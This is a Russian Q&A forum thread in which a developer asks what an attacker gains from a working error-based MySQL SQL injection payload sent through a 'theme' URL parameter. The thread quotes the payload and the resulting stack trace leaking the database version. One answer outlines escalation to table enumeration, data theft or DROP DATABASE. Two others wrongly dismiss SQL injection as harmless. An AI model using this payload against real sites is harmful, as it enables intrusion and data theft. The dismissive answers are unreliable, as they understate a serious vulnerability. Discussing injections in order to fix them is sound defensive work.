@esvlad
Веб-разработчик

Что дает потенциальному злоумышленнику следующая SQL-инъекция?

Прислали бывшей коллеге линк с SQL инъекцией, рекомендовали закрыть уязвимость.
/site/view?page=3§=14&theme=(select%201%20and%20row(1%2c1)%3E(select%20count(*)%2cconcat(concat((select%20version()))%2cfloor(rand()*2))x%20 from%20(select%201%20union%20select%202)a%20group%20by%20x%20limit%201))

Собственно инъекция:
(select 1 and row(1,1)>(select count(*), concat(concat((select version())), floor(rand()*2))x 
from (select 1 union select 2)a group by x limit 1))


И ошибка на сайте:
Fatal error: Uncaught exception 'Zend_Db_Statement_Exception' with message 'SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry '5.5.33-0+wheezy1-log1' for key 'group_key'' in /var/ZendFramework-1.0.3/library/Zend/Db/Statement/Pdo.php:227
Stack trace:
#0 /var/ZendFramework-1.0.3/library/Zend/Db/Statement.php(279): Zend_Db_Statement_Pdo->_execute(Array)
#1 /var/ZendFramework-1.0.3/library/Zend/Db/Adapter/Abstract.php(396): Zend_Db_Statement->execute(Array)
#2 /var/ZendFramework-1.0.3/library/Zend/Db/Adapter/Pdo/Abstract.php(206): Zend_Db_Adapter_Abstract->query('SELECT c.`Name`...', Array)
#3 /var/ZendFramework-1.0.3/library/Zend/Db/Adapter/Abstract.php(693): Zend_Db_Adapter_Pdo_Abstract->query('SELECT c.`Name`...', Array)
#4 /var/www/pageparts/consultation/org.php(23): Zend_Db_Adapter_Abstract->fetchRow('SELECT c.`Name`...')
#5 /var/www/gorobzor/index.php(264): include('/var/www/pagepa...')
#6 {main}
thrown in /var/ZendFramework-1.0.3/library/Zend/Db/Statement/Pdo.php on line 227

Т.е. проблема в &theme=. причина ясна, только вот..
Вопрос: Что это дает потенциальному злоумышленнику?
  • Вопрос задан
  • 452 просмотра
Пригласить эксперта
Ответы на вопрос 3
Rsa97
@Rsa97
Для правильного вопроса надо знать половину ответа
Данным запросом удалось получить версию MySQL (5.5.33-0+wheezy1-log1).
Переписав запрос можно попробовать получить имена таблиц, затем их структуру, потом данные из этих таблиц. Ну или выдать команду DROP DATABASE.
Ответ написан
Комментировать
romy4
@romy4
Exception handler
SQL-инъекции ничего не дают злоумышленникам. Это только повод разработчику сбить денег с заказчика, оставляя подобные дыры.
Ответ написан
xmoonlight
@xmoonlight
https://sitecoder.blogspot.com
именно эта - абсолютно ничего.
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы